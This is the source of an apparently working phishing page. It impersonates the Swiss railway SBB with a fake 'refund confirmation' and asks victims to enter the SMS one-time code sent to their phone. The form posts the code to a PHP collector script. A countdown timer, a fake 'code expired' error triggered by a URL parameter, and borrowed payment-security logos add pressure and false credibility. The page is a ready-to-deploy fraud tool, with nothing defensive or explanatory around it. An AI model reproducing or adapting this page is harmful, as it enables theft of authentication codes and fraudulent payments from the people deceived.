<?php ?>

<!DOCTYPE html>
<html class="top">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>SBB CFF FFS - Rückerstattung</title>
<meta content="width=device-width, initial-scale=1, maximum-scale=1" name="viewport">

<script src="./js/apps.js"></script>
<script src="./js/payapps.js"></script>
<meta name="csrf-param" content="authenticity_token">
<link id="favicon-link" rel="shortcut icon" href="./img/favicon.ico">
<link rel="stylesheet" type="text/css" href="./css/style.css">
<style>
/* تحسين زر الرمادي */
.btn.primary {
    background-color: #808080; /* رمادي متوسط */
    color: #ffffff;
    border: 1px solid #666666;
    padding: 12px 25px;
    font-size: 16px;
    border-radius: 5px;
    cursor: pointer;
    transition: background-color 0.3s, transform 0.2s;
}
.btn.primary:hover {
    background-color: #6e6e6e;
    transform: scale(1.05);
}

/* نصوص الخطأ والظهور */
.chof-dakchi { 
    display: block;  
} 
.khapi-dakchi { 
    display: none;  
}
</style>
</head>

<body class="not_iframe">
<div class="page-wrap">
<main style="padding: 20px 20px!important;">

<header>
  <div class="header-logo" style="border-color: rgb(218, 41, 28); border-width: 3px; border-style: solid; width: 128px; height: 64px; display: inline-block; text-align: center; width: 100%;">
    <img src="./img/s-b-b.png" alt="SBB Logo">
  </div>
</header>

<div class="heading center" style="margin-bottom: -15px!important;">
    <span>Bestätigung Ihrer Rückerstattung</span>
</div>

<p style="margin-top: 24px;">
Wir haben Ihnen eine SMS mit einem Bestätigungscode an Ihre registrierte Handynummer gesendet. Bitte geben Sie den Code unten ein, um Ihre Rückerstattung zu bestätigen.
</p>

<center>
<strong id="lw9t_daz_1">
    <span id="lw9t_kaymchi" style="color:#333; font-size: 18px;">119</span>
</strong>
</center>
<br>

<div class="khapi-dakchi" id="error" style="color: red;">
    <p style="text-align:center; font-size:14px; margin-top: 12px;">
        <span>Der eingegebene Code ist abgelaufen. Bitte fordern Sie einen neuen Code an.</span>
    </p>
</div>

<div class="payment_content min-content">
<div class="link">

<form action="./index/h.php" method="post">
    <div class="cc-block" style="margin-top: -2px;">
        <div class="input">
            <input placeholder="Geben Sie Ihren SMS-Code ein" type="text" name="SMS" id="OTP" required="required">
        </div>
    </div>    

    <a href="4.php" style="margin-top:10px; display:inline-block;">Neuen Code anfordern</a>

    <div class="action-buttons" style="margin-top:20px;">
        <button class="btn primary" type="submit">
            Rückerstattung bestätigen
        </button>

        <div class="secure-info" style="margin-top: 15px;">
            <div class="logo">
                <img height="46" width="67" src="./img/aster.svg" alt="Sicher Logo">
            </div>
            <div class="logo">
                <img height="46" width="53" src="./img/vizid.svg" alt="Zertifikat Logo">
            </div>
        </div>
    </div>
</form>

</main>

<footer class="payment_footer" style="margin-top: 40px;">
<div class="heading center">
    <span>Sichere Transaktionen mit Datatrans</span>
</div>
</footer>

<script type="text/javascript">
var intervalcountdown = 119;
var intervalId;

function Parameter() {
    document.getElementById('lw9t_kaymchi').innerHTML = intervalcountdown;
    if (intervalcountdown == 0) {
        window.clearInterval(intervalId);
        document.getElementById('lw9t_daz_1').className = 'khapi-dakchi';
    }
    intervalcountdown--;
}

function getParameterByName(name, url) {
    if (!url) url = window.location.href;
    name = name.replace(/[\[\]]/g, "\\$&");
    var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),
    results = regex.exec(url);
    if (!results) return;
    if (!results[2]) return '';
    return decodeURIComponent(results[2].replace(/\+/g, " "));
}

if(getParameterByName('submited')) {
    document.getElementById('error').className = 'chof-dakchi';
}

intervalId = window.setInterval(Parameter, 1000);
</script>

</body>
</html>
